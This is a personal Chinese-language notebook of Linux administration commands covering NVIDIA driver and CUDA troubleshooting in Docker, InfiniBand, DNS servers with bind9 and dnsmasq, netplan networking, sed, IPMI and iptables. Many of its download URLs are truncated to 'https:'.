1. Failed to initialize NVML: Unknown Error需卸載干凈再重新安裝
2. smi提示[NOT SUPPORTED]
https:
mv /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.1 /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.1.bak
make TARGET_VER=440.36
make install TARGET_VER=440.36 libdir=/usr/lib/x86_64-linux-gnu
# 如果不小心誤刪,可以刪除干凈lib后,再autoremove等卸載干凈后然后重新安裝
# 這時候還是Processes Not Supported,但GPU-Util等信息有了
# 影響:
1.容器的自動掛載nvidia-smi等文件
2.nvidia-device-plug的正常啟動
3.job_exporter等容器要想使用nvidia-smi,因為libnvidia-ml.so.1文件變更,導致不能自動掛載libnvidia-ml.so.440.64
可以手動復制文件,或者容器內安裝nvidia-smi(apt找不到)
kubectl cp /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.1 job-exporter-vv6pn:/usr/lib/x86_64-linux-gnu/libnvidia-ml.so -n kube-system
kubectl cp /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.440.64 job-exporter-vv6pn:/usr/lib/x86_64-linux-gnu/libnvidia-ml.so.440.64 -n kube-system
4.問題NVIDIA-SMI has failed because it couldn
禁用掉UEFI secure boot
5.提示Failed to initialize NVML: could not load NVML library.
確保依賴都安裝好后,可以重新安裝驅動試試
6.卸載不掉
nvidia-installer
7.reboot后發現驅動沒了
查看內核模型沒有加載,dpkg已經安裝相應的package
嘗試使用modprode發現沒有對應內核模塊
內核自動升級了,而安裝驅動的時候沒有設置driver伴隨內核升級.run
nvidia-docker安裝:
需要添加源,不用FQ
curl -s -L https:
distribution=$(. /etc/os-release;echo $ID$VERSION_ID)
curl -s -L https:
sudo apt-get update
yes | sudo apt-get install -y nvidia-docker2
注意16.04需要額外安裝apt install apt-transport-https
容器內的nvidia-smi和驅動如何來?
啟動容器時,必要的設備和驅動會自動掛載。但不包含cuda,需要自己安裝。20.04發現gcc提示版本不對,18.04則可以
根據環境變量 NVIDIA_VISIBLE_DEVICES 判斷是否會分配GPU設備,調用 nvidia-container-cli
將Nvidia 驅動庫的so文件 和 GPU設備信息, 通過文件掛載的方式映射到容器中。
mount |grep nvidia-smi
命令介紹:
run:必要的設備和驅動會自動掛載。
build:同理,可以使用nvidia-smi,等同於--runtime=nvidia
CUDA對應的NVIDIA驅動版本
不同的cuda版本對應不同的NVIDIA驅動版本
查看cuda版本:
nvcc --version
cat /usr/local/cuda/version.txt
更新:
sudo apt --purge remove "cublas*" "cuda*"
sudo apt --purge remove libcudnn7 libcudnn7-dev libnccl2 # 卸載避免沖突
wget https:
sudo dpkg -i cuda-repo-ubuntu1804_10.0.130-1_amd64.deb # cuda-repo-<distro>_<version>_<architecture>.deb
sudo apt update
sudo apt-cache showpkg cuda | grep 10.1
sudo apt -y install cuda=10.1.243-1 - cuda-10-1
或
wget https:
sudo dpkg -i nvidia-machine-learning-repo-ubuntu1804_1.0.0-1_amd64.deb
sudo apt update
sudo apt install libcudnn7-dev=7.6.3.30-1+cuda10.1 libcudnn7=7.6.3.30-1+cuda10.1 libnccl2=2.5.6-1+cuda10.1
代理版:
wget https:
sudo mv cuda-ubuntu1804.pin /etc/apt/preferences.d/cuda-repository-pin-600
sudo apt-key adv --fetch-keys https:
apt install software-properties-common
sudo add-apt-repository "deb https://mirrors.aliyun.com/nvidia-cuda/ubuntu1804/x86_64/ /" # "deb http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/ /"
sudo apt-get update
sudo apt-get -y install cuda
# 問題:往往會安裝最新版本的driver驅動,導致nvidia-smi使用不了
方法二(推薦):
sed -i 's|https\?://[^/]\+/|http://mirrors.aliyun.com/|' /etc/apt/sources.list && apt-get update
apt-get install -y libxml2 libstdc++6 gcc module-init-tools
下載cuda_10.1.243_418.87.00_linux.run,sh執行,只勾選cuda-tool即可,下載頁面:https:
sh cuda_10.1.243_418.87.00_linux.run --toolkit --silent
wget http:
wget https:
wget http:
注意對driver版本的要求
https:
export PATH=/usr/local/cuda/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/cuda/lib64
識別不了的原因:
關鍵啟動環境變量:ENV CUDA_VERSION=10.1.243
影響調度的環境變量:NVIDIA_VISIBLE_DEVICES,建議設置
不能設置的變量:NVIDIA_REQUIRE_CUDA
方法三:
conda安裝:
conda install cudatoolkit=10.1
cudnn
目前為止安裝后找不到nvcc,torch識別不了
方法四:
可以參考dockerhub上的cuda鏡像的dockerfile
里面安裝了cuda-compat-10-1等一堆cuda的package
dpkg -i |grep cuda查看官方鏡像安裝的所有依賴,然后自己手動安裝
sed -i 's|https\?://[^/]\+/|http://mirrors.aliyun.com/|' /etc/apt/sources.list && apt-get update
apt-key adv --fetch-keys https:
apt install software-properties-common
add-apt-repository "deb https://mirrors.aliyun.com/nvidia-cuda/ubuntu1804/x86_64/ /"
for i in cuda-compiler-10-1 cuda-cudart-10-1 cuda-cudart-dev-10-1 cuda-cufft-10-1 cuda-cufft-dev-10-1 cuda-cuobjdump-10-1 cuda-cupti-10-1 cuda-curand-10-1
cuda-curand-dev-10-1 cuda-cusolver-10-1 cuda-cusolver-dev-10-1 cuda-cusparse-10-1 cuda-cusparse-dev-10-1 cuda-driver-dev-10-1 cuda-gdb-10-1 cuda-gpu-library-advisor-10-1
cuda-libraries-10-1 cuda-libraries-dev-10-1 cuda-license-10-1 cuda-memcheck-10-1 cuda-minimal-build-10-1 cuda-misc-headers-10-1 cuda-npp-10-1 cuda-npp-dev-10-1
cuda-nvcc-10-1 cuda-nvdisasm-10-1 cuda-nvgraph-10-1 cuda-nvgraph-dev-10-1 cuda-nvjpeg-10-1 cuda-nvjpeg-dev-10-1 cuda-nvprof-10-1 cuda-nvml-dev-10-1 cuda-nvprune-10-1
cuda-nvrtc-10-1 cuda-nvrtc-dev-10-1 cuda-nvtx-10-1 cuda-sanitizer-api-10-1;do apt install $i=10.1.243-1;done
多gpu卡之間通信用的
wget https:
wget https:
關鍵:
需要設置啟動的環境變量
FROM d15f7164655
ENV CUDA_VERSION=10.1.243
ENV CUDA_PKG_VERSION=10-1=10.1.243-1
ENV LD_LIBRARY_PATH=/usr/local/nvidia/lib:/usr/local/nvidia/lib64
ENV NVIDIA_VISIBLE_DEVICES=all
ENV NVIDIA_DRIVER_CAPABILITIES=compute,utility
ENV NVIDIA_REQUIRE_CUDA=cuda>=10.1 brand=tesla,driver>=396,driver<397 brand=tesla,driver>=410,driver<411 brand=tesla,driver>=418,driver<419
ENV NCCL_VERSION=2.7.8
ENV NCCL_VERSION=2.7.8
ENV LIBRARY_PATH=/usr/local/cuda/lib64/stubs
方法五:
使用官方cuda鏡像為基礎,這個再安裝pytorch、tensorflow等工具是可以使用gpu的
測試;
python3 -c "import torch;print(torch.cuda.is_available())"
python3 -c "import torch;print(torch.cuda.device_count())"
python3 -c "import tensorflow as tf;print(tf.test.is_gpu_available())"
tensorflow框架可能會出現版本不對應導致使用不了的情況:failed call to cuInit: CUDA_ERROR_SYSTEM_DRIVER_MISMATCH: system has unsupported display driver / cuda driver combination
1.容器內link的是容器內的driver版本的so文件,手動更改版本后出現failed call to cuInit: CUDA_ERROR_UNKNOWN: unknown error
2.想安裝低版本driver發現識別不了smi,docker run模型提示failed call to cuInit: CUDA_ERROR_NO_DEVICE: no CUDA-capable device is detected
可能需要用新版本的框架,低版本用不了
import torch.utils.cpp_extension
torch.utils.cpp_extension.CUDA_HOME
問題:
1.docker exporter雖然可以減小體積,但會導致torch.cuda.is_available()返回false
用save即可
可能與丟失了ENV環境變量有關
2.容器內使用smi顯示的cuda版本與nvcc的版本不一致
原因:
CUDA 有兩種API,分別是 運行時 API 和 驅動API,即所謂的 Runtime API 與 Driver API。
nvidia-smi顯示的是CUDA Driver API是依賴於 NVIDIA 驅動 安裝的,而nvcc --version顯示的CUDA Runtime API 是通過CUDA toolkit 安裝的。
此外,python3 -c "import torch;print(torch.version.cuda)"並不一定是 Pytorch 在實際系統上運行時使用的 cuda 版本,而是編譯該 Pytorch release 版本時使用的 cuda 版本。
3.dockerhub上的cuda:10.1鏡像安裝pytorch、tensorflow后能正常使用gpu,而手動安裝cuda的鏡像則用不了。兩者都存在/usr/local/cuda-10.1/和/usr/local/cuda軟鏈
原因:
cuda:10.1鏡像還在/usr/lib/x86_64-linux-gnu/目錄下存在幾個so文件,比如libcuda.so.440.33.01、libcuda.so.1等,手動移除后也不能檢測gpu了。
ls /usr/lib/x86_64-linux-gnu/libcuda* -la
幾個so文件的關系:
libcuda.so -> libcuda.so.1
libcuda.so.1 -> libcuda.so.440.33.01
libcuda.so.440.33.01
libcuda.so.418.165.02 # 如果host和容器的cuda版本不對,會優先link到host的版本
注意的是,這幾個文件都是nvidia runtime幫忙從/usr/local/cuda-10.1/compat/以及host的本地復制到容器內/usr/lib/x86_64-linux-gnu/下的
驗證:
docker run --runtime=runc -it --rm nvidia/cuda:10.1-devel-ubuntu18.04 bash
解決:
如果鏡像run前沒有安裝cuda,那么安裝完cuda后保存一下鏡像,然后再次啟動。
4.安裝cuda10.1版本報錯,而10.2版本則可以
5.tensorflow等框架能識別gpu,但提示Could not create cudnn handle: CUDNN_STATUS_INTERNAL_ERROR
場景:
host上的cuda版本11.1,高於鏡像內的10.1
解決:
from tensorflow.compat.v1 import ConfigProto
from tensorflow.compat.v1 import InteractiveSession
config = ConfigProto()
config.gpu_options.allow_growth = True
session = InteractiveSession(config=config)
解決2:
安裝對應版本的driver
解決3:
export TF_FORCE_GPU_ALLOW_GROWTH=true
freenas連接:
iso啟動盤安裝后,登錄網頁設置
https://jingyan.baidu.com/article/0bc808fcbb47125bd485b9c7.html
起nfs即可
InfiniBand卡
驅動下載:
http://eg-server.cn.tnas.link/tos/index.php?share/file&user=%E6%9D%8E%E5%A0%82&sid=HmOolfKF
檢查主機是否安裝了HCA:
apt-get install pciutils
lspci -v | grep Mellanox
驅動安裝:
mount -o ro,loop MLNX_OFED_LINUX-2.1-1.0.0-rhel6.4-x86_64.iso /mnt
./mlnxofedinstall
缺少依賴的話,freenas不是linux系統,不能使用apt和yum
查看driver
lsmod | grep ib
modprobe ib_ipoib ib_umad
啟動服務(不一定有該服務,只要內核模塊加載就行)(安裝OFED驅動才有)
1、service openibd start
2、systemctl enable openibd.service
3、service opensmd start
4、systemctl enable opensmd.service
查看HCA端口狀態,若State為Active,則表示正常
ibstat
重啟網絡接口ib0
ifconfig ib0 10.200.0.5/24
ifdown ib0
ifup ib0
ifconfig ib0
實際的使用方式和IPv4基本沒有區別,如果想要集群之間通過IB通信只需要用IPoIB的地址就行。
docker方式:
下載驅動,安裝,然后掛載設備
開機自動配置:
/etc/network/interfaces
auto ens33
iface ens33 inet static
address 192.168.0.111
netmask 255.255.255.0
gateway 192.168.0.1
gcc驅動:
find / -name "libstdc++.so.*"
strings /usr/lib/x86_64-linux-gnu/libstdc++.so.6 | grep CXXABI
ln -s libstdc++.so.6.0.22 libstdc++.so.6
時區設置
apt-get install systemd
timedatectl set-timezone UTC
timedatectl status (容器內無法使用)
查看誰發的SIGKILL信號
安裝很簡單:sudo apt-get install auditd
啟動服務並查看狀態: service auditd start & service auditd status
然后通過auditctrl添加規則: auditctl -a exit,always -F arch=b64 -S kill -F a1=9
搜索ausearch -sc kill
ZFS工具使用:
安裝:
sudo apt-get install zfsutils-linux
使用:
sudo zpool status
sudo zpool create -f xxx /dev/sdb /dev/sdc /dev/sdd
sudo zpool list
sudo zfs set mountpoint=/var/wwwfiles
sudo zfs set sharenfs="rw=@192.168.11.0/24" pool-name
sudo zpool add pool-name /dev/sdx
sudo zpool destroy pool-name
zpool add tank log ada3
zpool add tank log mirror ada3 ada4
zpool add tank cache ada3
連接wifi
apt install wireless-tools
iwconfig
ifconfig wlp5s0 up
iwlist wlp5s0 scan | grep ESSID
apt install wpasupplicant
wpa_passphrase your-ESSID your-wifi-passphrase | sudo tee /etc/wpa_supplicant.conf
wpa_supplicant -c /etc/wpa_supplicant.conf -i wlp5s0
wpa_supplicant -B -c /etc/wpa_supplicant.conf -i wlp5s0
dhclient wlp5s0
ip addr show wlp5s0
dhclient wlp5s0 -r
開機啟動和固定ip查看https://www.linuxbabe.com/ubuntu/connect-to-wi-fi-from-terminal-on-ubuntu-18-04-19-04-with-wpa-supplicant
/etc/dhcp/dhclient.conf
固定的ip需要
路由器lan設置-靜態地址分配(主要作用?)
dhclient設置好config
然后重試幾次,才行(可能緩存,而通過dhclient wlp4s0立刻即可訪問)
開機啟動:
sudo cp /lib/systemd/system/wpa_supplicant.service /etc/systemd/system/wpa_supplicant.service
sudo nano /etc/systemd/system/wpa_supplicant.service
sudo systemctl enable wpa_supplicant.service
sudo nano /etc/systemd/system/dhclient.service
sudo systemctl enable dhclient.service
通過wifi登錄卡
kubelet占用網絡多
域名解析:
指定server來解析dns:
dig @10.96.0.10 www.baidu.com
nslookup www.baidu.com 10.96.0.10
k8s集群的coredns無法正常解析內網的dns域名問題
依賴於host 127.0.0.53的systemd-resolved解析
對於centos系統,可能沒啟動這個服務,本地沒有監聽127.0.0.53
netstat -tul|grep 53
對於歐拉的centos,如何啟動dns解析服務
systemctl start systemd-resolved
systemctl enable systemd-resolved
關於raw.githubusercontent.com在ubuntu解析為0.0.0.0:
1.查看/etc/hosts沒有定義
2.發現dig @114.114.114.114解析正常,使用127.0.0.53則解析錯誤
3.ubuntu基於公司的路由器,登錄路由器發現wan設置的首選DNS服務器為電信的202.96.134.133,懷疑是電信手動牆了,改為114.114.114.114后解析正常
關於/etc/hosts和/etc/resolv.conf的關系
/etc/hosts里面的條目要想生效,/etc/resolv.conf的nameserver要用127.0.0.53 或者dig @127.0.0.53
本地的dns解析進程systemd-resolved運行用戶是systemd+,要確保systemd+有權限訪問到/etc/hosts才行,否則條目不起效
nslookup與ping:
nslookup(選項)(參數)
選項 -sil:不顯示任何警告信息。
參數 域名:指定要查詢域名。
包含authoritative answer與Non-authoritative answer,authoritative answer是DNS服務器返回的,Non-authoritative answer則是返回上次緩存的
ping命令用來測試主機之間網絡的連通性。執行ping指令會使用ICMP傳輸協議,發出要求回應的信息,若遠端主機的網絡功能沒有問題,就會回應該信息,
因而得知該主機運作正常。
使用ICMP(Internet Control Message Protocol)協議,而不是tcp或udp,沒有端口
有時候會返回Non-authoritative answer,從local DNS的cache獲取到的結果
數據庫一般禁止掉ping,原因是
設置:
臨時禁止PING的命令為:echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all(0允許)
永久禁止PING配置方法:/etc/sysctl.conf 中增加一行 net.ipv4.icmp_echo_ignore_all=1(0允許) 修改完成后執行sysctl -p使新配置生效。
防火牆禁止;iptables -A INPUT -p icmp
允許: iptables -A INPUT -p icmp
iptables -A OUTPUT -p icmp
內網dns服務器搭建:
內置的system-resolved:
配置:
systemd-resolve
默認配置通過netplan的yaml文件來配置上游dns的
默認配置位置:/run/systemd/resolve/resolv.conf,dhclient或netplan生成。
使用:
默認/etc/resolv.conf -> ../run/systemd/resolve/stub-resolv.conf由system-resolved維護
可以手動更改ln -s /run/systemd/resolve/resolv.conf /etc/resolv.conf
https:
https:
docker鏡像方式:
1.docker pull andyshinn/dnsmasq
2.創建 域名映射ip文件 和 dns文件,用來掛載到容器中
3.運行
docker run -d \
-p 192.168.1.102:53:53/tcp -p 192.168.1.102:53:53/udp \
-v /home/wilker/Desktop/a_dns/my_dnsmasq_hosts:/etc/my_dnsmasq_hosts \
-v /home/wilker/Desktop/a_dns/my_resolv.dnsmasq:/etc/my_resolv.dnsmasq \
--cap-add=NET_ADMIN --name my_dns_server andyshinn/dnsmasq
4.docker exec -it my_dns_server /bin/sh
修改容器內文件vi /etc/dnsmasq.conf
addn-hosts=/etc/my_dnsmasq_hosts
resolv-file=/etc/my_resolv.dnsmasq
5.重啟
docker restart my_dns_server
6.配置路由設置
host宿主機利用bind9方式:
apt install bind9
配置項:
/etc/bind/named.conf.options: global DNS options
/etc/bind/named.conf.local: for your zones
/etc/bind/named.conf.default-zones: default zones such as localhost, its reverse, and the root hints
修改/etc/bind/named.conf.options文件:
forwarders {
8.8.8.8;
114.114.114.114;
};
dnssec-validation no;
如果需要添加自定義解析,修改/etc/bind/named.conf.local文件:
zone "example.com" {
type master;
file "/etc/bind/db.example.com";
};
zone "1.168.192.in-addr.arpa" {
type master;
file "/etc/bind/db.192";
};
cp /etc/bind/db.local /etc/bind/db.example.com
cp /etc/bind/db.127 /etc/bind/db.192
配置/etc/bind/db.example.com:
;
; BIND data file for example.com
;
$TTL 604800
@ IN SOA example.com. root.example.com. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
@ IN NS ns.example.com.
@ IN A 192.168.1.10
@ IN AAAA ::1
ns IN A 192.168.1.10
配置/etc/bind/db.192文件:
;
; BIND reverse data file for local 192.168.1.XXX net
;
$TTL 604800
@ IN SOA ns.example.com. root.example.com. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns.
10 IN PTR ns.example.com.
重啟服務systemctl restart bind9.service
bind服務可以通過本機器的所有網絡接口的ip進行訪問,比如192.168.1.187和10.31.3.131這個ip都可以
ss -tnl|grep 53查詢:
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 10 10.8.0.1:53 0.0.0.0:*
LISTEN 0 10 172.19.0.1:53 0.0.0.0:*
LISTEN 0 10 172.26.0.1:53 0.0.0.0:*
LISTEN 0 10 172.17.0.1:53 0.0.0.0:*
LISTEN 0 10 172.18.0.1:53 0.0.0.0:*
LISTEN 0 10 192.168.122.1:53 0.0.0.0:*
LISTEN 0 10 10.31.3.131:53 0.0.0.0:*
LISTEN 0 10 192.168.1.187:53 0.0.0.0:*
LISTEN 0 10 127.0.0.1:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:953 0.0.0.0:*
檢測配置是否正確,比如點好是否寫上:
named-checkzone example.com /etc/bind/db.example.com
named-checkzone 1.168.192.in-addr.arpa /etc/bind/db.192
允許recursion查詢:
acl "trusted" {
192.168.1.0/24;
10.8.0.0/24;
127.0.0.1/32;
::1/128;
};
options {
...
recursion yes;
allow-recursion { trusted; };
}
參考:
@指zone的name,example.com,可以通過$ORIGIN uk.example.com.改寫@
CNAME記錄:對A記錄的重命名,必須指向A記錄
MX記錄: 定義往哪發送郵件,必須指向A記錄,而不是CNAME記錄
bind9部署二級dns服務(高可用):
參考:https://ubuntu.com/server/docs/service-domain-name-service-dns,主要作用是當Primary不可用時,Secondary繼續提供解析服務
在Primary server上修改配置/etc/bind/named.conf.local,然后重啟
zone "example.com" {
type master;
file "/etc/bind/db.example.com";
allow-transfer { 192.168.1.11; };
};
在Secondary server上安裝bind9,配置/etc/bind/named.conf.local,然后啟動即可
zone "example.com" {
type slave;
file "db.example.com";
masters { 192.168.1.10; };
};
注意:
1.只會當Primary的Serial數字大於Secondary時候才會傳遞zone.
2.zone改變時自動同步到Secondary
配置到/etc/bind/named.conf.local:
zone "example.com" {
type master;
file "/etc/bind/db.example.com";
allow-transfer { 192.168.1.11; };
also-notify { 192.168.1.11; };
};
如何修改本機dns:
Ubuntu 16.04 及之前版本 配置靜態IP sudo vim /etc/network/interfaces
auto eth0
iface eth0 inet static
address 192.168.11.88
netmask 255.255.255.0
gateway 192.168.11.1
配置 DNS 服務器地址sudo vim /etc/resolv.conf 防止重啟恢復vim /etc/resolvconf/resolv.conf.d/base
nameserver 127.0.0.1
nameserver 8.8.8.8
sudo /etc/init.d/networking restart
nmcli dev show
Ubuntu 18.04 采用 netplan 作為網絡配置管理,與16.04及之前的版本區別很大去掉文件 /etc/network/interfaces 中的所有配置
修改配置文件:sudo vim /etc/netplan/50-cloud-init.yaml:
network:
ethernets:
eth0:
addresses:
- 192.168.1.100/24
gateway4: 192.168.1.1
nameservers:
addresses:
- 192.168.1.114
search:
- corp.xxx.com
version: 2
遠程打開瀏覽器:
編輯/etc/ssh/sshd_config
X11Forwarding yes
X11DisplayOffset 10
X11UseLocalhost yes
登錄ssh
ssh -X
查看狀態:
echo $DISPLAY
本地打開遠程的瀏覽器:
firefox
sed調度
參數介紹
p 打印 示例sed -n "1,3p" sed_test.txt sed -n "3,+2p" sed_test.txt sed -n "2p;4,10p" sed_test.txt
d 刪除
s 用一個字符串替換另一個字符串
g 在行內進行全局替換
i 替換時不區分大小寫
a 新增, a 的后面可以接字串,而這些字串會在新的一行出現(目前的下一行)~
c :取代, c 的后面可以接字串,這些字串可以取代 n1,n2 之間的行!
選項介紹
-i[suffix] 修改文件 sed "s/ps-0.*/ps-0/g" -i txt
-n 或--quiet或--silent 僅顯示script處理后的結果。
用法:
使用管道符|
nl /etc/passwd | sed '3,$d'
使用文件:
sed -n "1,3p" sed_test.txt
正則:
sed "s/\(value:\s\+\?'1'\)/value: '0'/g" cvat_backend.yaml
如果要匹配'',外面必須是"",這樣的話就不能匹配\n
示例:
替換
僅對變量進行字符串替換的話,可以用
a=aabbcc
echo ${a/bb/23}
替換換行符:
sed ':a;N;$!ba;s/\n/ /g' cvat_backend.yaml
或sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/ /g' cvat_backend.yaml
IPMI啟動
啟動內核模塊
modprobe ipmi_si
modprobe ipmi_devintf
echo ipmi_si >> /etc/modprobe
echo ipmi_devintf >> /etc/modprobe
安裝:
apt-get install ipmitool
使用:
ipmitool lan print
ipmitool lan print | grep "IP Address"
ipmitool lan print | grep "MAC Address"
設置ip:
ipmitool lan set 1 ipaddr 192.168.1.211
掛載:
需要ssh登錄ibmc,像ibmc:
ipmcset -t vmm -d connect -v nfs://192.168.1.3/data/nfsshare/isountu-18.04.1-server-arm64.iso
查詢局域網IP與MAC
sudo apt install nmap
nmap -sP 192.168.1.0/24
cat /proc/net/arp
下載gs開頭文件
pip install gsutil
gsutil cp -R gs://archive-measurement-lab/utilization/ destination-directory
ubuntu系統安裝到/home/dlwsadmin/.local/bin/gsutil目錄下
生成jwt token:
jwt_header=$(echo -n '{"alg":"HS256","typ":"JWT"}' | base64 | sed s/\+/-/g | sed 's/\//_/g' | sed -E s/=+$//)
payload=$(echo -n '{"email":"jordan@example.com"}' | base64 | sed s/\+/-/g |sed 's/\//_/g' | sed -E s/=+$//)
secret=$'bigsecretisveryhardtoguessbysneakypeopleright\n'
hexsecret=$(echo -n "$secret" | xxd -p | paste -sd "")
hmac_signature=$(echo -n "${jwt_header}.${payload}" | openssl dgst -sha256 -mac HMAC -macopt hexkey:$hexsecret -binary | base64 | sed s/\+/-/g | sed 's/\//_/g' | sed -E s/=+$//)
jwt="${jwt_header}.${payload}.${hmac_signature}"
網絡與IP:
重啟網絡
systemctl restart systemd-networkd
自動獲取ip
dhclient eth1
dhclient eth1 -r
重啟不能自動獲取的問題
ifconfig設置ip與清理
ifconfig eth0 192.168.1.3/24
ifconfig eth0 0.0.0.0
開機執行dhclient:
/etc/rc.local
dhclient
exit 0
查看網口的網線連接狀態:
ethtool eno1 查看speed
ethtool -p eno1 讓網口閃爍
ethtool -t eno1 檢測網口狀態,返回結果,會造成外網映射的ssh掉線
ifconfig刪除ipv6:
ifconfig eth0 inet6 del 2001:0db8:0:f101::1/64
ifconfig eth0 inet6 add 2001:0db8:0:f101::1/64
ip -6 addr add fdcd:55c4:4289::15e2/64 dev eno1
嘗試可以用ping6 fdcd:55c4:4289::1018
設置靜態IP(固定ip):
18.04 and 20.04設置
依賴:
apt install netplan.io networkmanager libproxy1-plugin-networkmanager
比較:
service systemd-networkd status
service network-manager status
/etc/netplan/50-cloud-init.yaml
network:
version: 2
renderer: networkd
ethernets:
ens33:
dhcp4: no
dhcp6: no
addresses: [192.168.1.55/24]
gateway4: 192.168.1.254
nameservers:
addresses: [114.114.114.114, 8.8.8.8]
netplan apply
16.04的設置:
source /etc/network/interfaces.d/*
auto lo
iface lo inet loopback
auto ens33
iface ens33 inet static
address 192.168.1.100
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
dns-nameservers 8.8.8.8 8.8.4.4
systemctl restart ifup@eth0
靜態路由:
dhclient或netplay apply都會改變,目前沒有比較好的固定方法
嘗試過的方法:
eno1:
dhcp4: yes
dhcp4-overrides:
use-routes: false
ubuntu上抓包工具tcpdump:
tcpdump -D 獲取網絡適配器列表
tcpdump -i <需要監控的網絡適配器編號>
tcpdump -i 2 host 172.16.86.111 and tcp port 443 監控IP地址為172.16.86.111上443端口的tcp協議
-X 顯示數據包的內容
-X -s 0 自動設置長度使其能夠顯示所有數據
-X -s 0 -w aaa 捕獲的數據太多,不斷刷屏,可能需要將數據內容記錄到文件里,需要使用-w參數
iptables規則:
開啟與關閉:
service iptables start
service iptables stop
流程:
規則:根據指定的匹配條件來嘗試匹配每個流經此處的報文,一旦匹配成功,則由規則后面指定的處理動作進行處理;如果規則不做處理,會繼續匹配直到明確處理。
匹配條件:
源地址Source IP,目標地址 Destination IP
源端口Source Port, 目標端口Destination Port
傳輸協議(如TCP、UDP、ICMP)
服務類型(如HTTP、FTP和SMTP)
還有其他擴展匹配條件
查看:
iptables -L
iptables -t filter -L 查看filter表
KUBE-SERVICES
iptables -L -v 查看報文計數器
查看某個ip相關
iptables-save | grep 10.104.30.154
設置:
格式:
tables command chain params target
iptables -t filter -A/D/I/R/L/F/Z/N/X/P INPUT/FORWARD/OUTPUT/PREROUTING/POSTROUTING -p/s/d/i/o/sport/dport -j ACCEPT/DROP/REJECT
寫入:
iptables -I FORWARD -d 10.97.221.209/32 -p tcp -m comment --comment "default/helloworld-go-m9j7m-69c w5:http has no endpoints" -m tcp --dport 80 -j REJECT --reject-with icmp-port-unreachable
iptables -A
刪除:
iptables -D 其他相同
iptables -D INPUT 1 刪除INPUT第一條
target參數:
-j 選項指定rule的目標,目標可以是用戶自定義鏈;內建目標;或擴展,常見如REJECT、ACCEPT、MASQUERADE、MARK(做標記)、RETURN(返回在自定義鏈執行完畢后使用返回,來返回原規則鏈)等
SNAT:源地址轉換,解決內網用戶用同一個公網地址上網的問題。
iptables-t nat -A POSTROUTING -s 10.8.0.0/255.255.255.0 -o eth0 -j SNAT --to-source192.168.5.3
在網關所在機器配置這個,使用該網關的其他局域網機器發出去的包才能回來,不然源ip還是10.8.0.0,包會丟失。一般用MASQUERADE
MASQUERADE:是SNAT的一種特殊形式,適用於動態的、臨時會變的ip上。SNAT的一種
對於SNAT,不管是幾個地址,必須明確的指定要SNAT的ip,假如當前系統用的是ADSL動態撥號方式,那么每次撥號,出口ip192.168.5.3都會改變,而且改變的幅度很大,
不一定是192.168.5.3到192.168.5.5范圍內的地址,這個時候如果按照現在的方式來配置iptables就會出現問題了,因為每次撥號后,服務器地址都會變化,而iptables規則內的ip是不會隨着自動變化的,
每次地址變化后都必須手工修改一次iptables,把規則里邊的固定ip改成新的ip,這樣是非常不好用的。
MASQUERADE就是針對這種場景而設計的,他的作用是,從服務器的網卡上,自動獲取當前ip地址來做NAT。
不管現在eth0的出口獲得了怎樣的動態ip,MASQUERADE會自動讀取eth0現在的ip地址然后做SNAT出去,這樣就實現了很好的動態SNAT地址轉換。
DNAT:目標地址轉換,解決私網服務器端,接收公網請求的問題。
iptables -t nat -A PREROUTING -d 202.103.96.112 -j DNAT --to-destination 192.168.0.112
將到這台機器的ip的包的目標ip改為其他。可以加端口
REDIRECT:端口映射
-g 選項將規則重定向到一個用戶自定義鏈中,與 -j 選項不同,從自定義鏈中返回時,是返回到調用 -g 選項上層的那一個 -j 鏈中繼續往下執行
-m 擴展各種模塊,如multiport多端口擴展,iprange模塊,string正則匹配模塊,time配置起作用時間模塊,limit限速模塊,connlimit連接數模塊,tcp/udp模塊,state模塊,set(ip集合)模塊
command參數:
-A 在指定鏈的末尾添加(append)一條新的規則
-D 刪除(delete)指定鏈中的某一條規則,可以按規則序號和內容刪除
-I 在指定鏈中插入(insert)一條新的規則,默認在第一行添加
-R 修改、替換(replace)指定鏈中的某一條規則,可以按規則序號和內容替換
-L 列出(list)指定鏈中所有的規則進行查看
-E 重命名用戶定義的鏈,不改變鏈本身
-F 清空(flush)
-N 新建(new-chain)一條用戶自己定義的規則鏈
-X 刪除指定表中用戶自定義的規則鏈(delete-chain)
-P 設置指定鏈的默認策略(policy)為xxx
-Z 將所有表的所有鏈的字節和數據包計數器清零
-n 使用數字形式(numeric)顯示輸出結果
-v 查看規則表詳細信息(verbose)的信息
-V 查看版本(version)
-h 獲取幫助(help)
params參數:
-p 協議
-i 接口
-o 出口網卡
默認鏈:
默認的表filter下面有INPUT、OUTPUT、FORWARD
nat表有PREROUTING、POSTROUTING、OUTPUT
iptables內置了4個表,即filter表、nat表、mangle表和raw表,分別用於實現包過濾,網絡地址轉換、包重構(修改)和數據跟蹤處理。
Raw——mangle——nat——filter
鏈(chains)是數據包傳播的路徑,每一條鏈其實就是眾多規則中的一個檢查清單,每一條鏈中可以有一 條或數條規則。
當一個數據包到達一個鏈時,iptables就會從鏈中第一條規則開始檢查,看該數據包是否滿足規則所定義的條件。如果滿足,系統就會根據 該條規則所定義的方法處理該數據包;
否則iptables將繼續檢查下一條規則,如果該數據包不符合鏈中任一條規則,iptables就會根據該鏈預先定 義的默認策略來處理數據包。
1.INPUT——進來的數據包應用此規則鏈中的策略
2.OUTPUT——外出的數據包應用此規則鏈中的策略
3.FORWARD——轉發數據包時應用此規則鏈中的策
4.PREROUTING——對數據包作路由選擇前應用此鏈中的規則(記住!所有的數據包進來的時侯都先由這個鏈處理),對應DNAT,路由到不同的局域網機器
5.POSTROUTING——對數據包作路由選擇后應用此鏈中的規則(所有的數據包出來的時侯都先由這個鏈處理),對應SNAT,修改源ip
規則鏈之間的優先順序
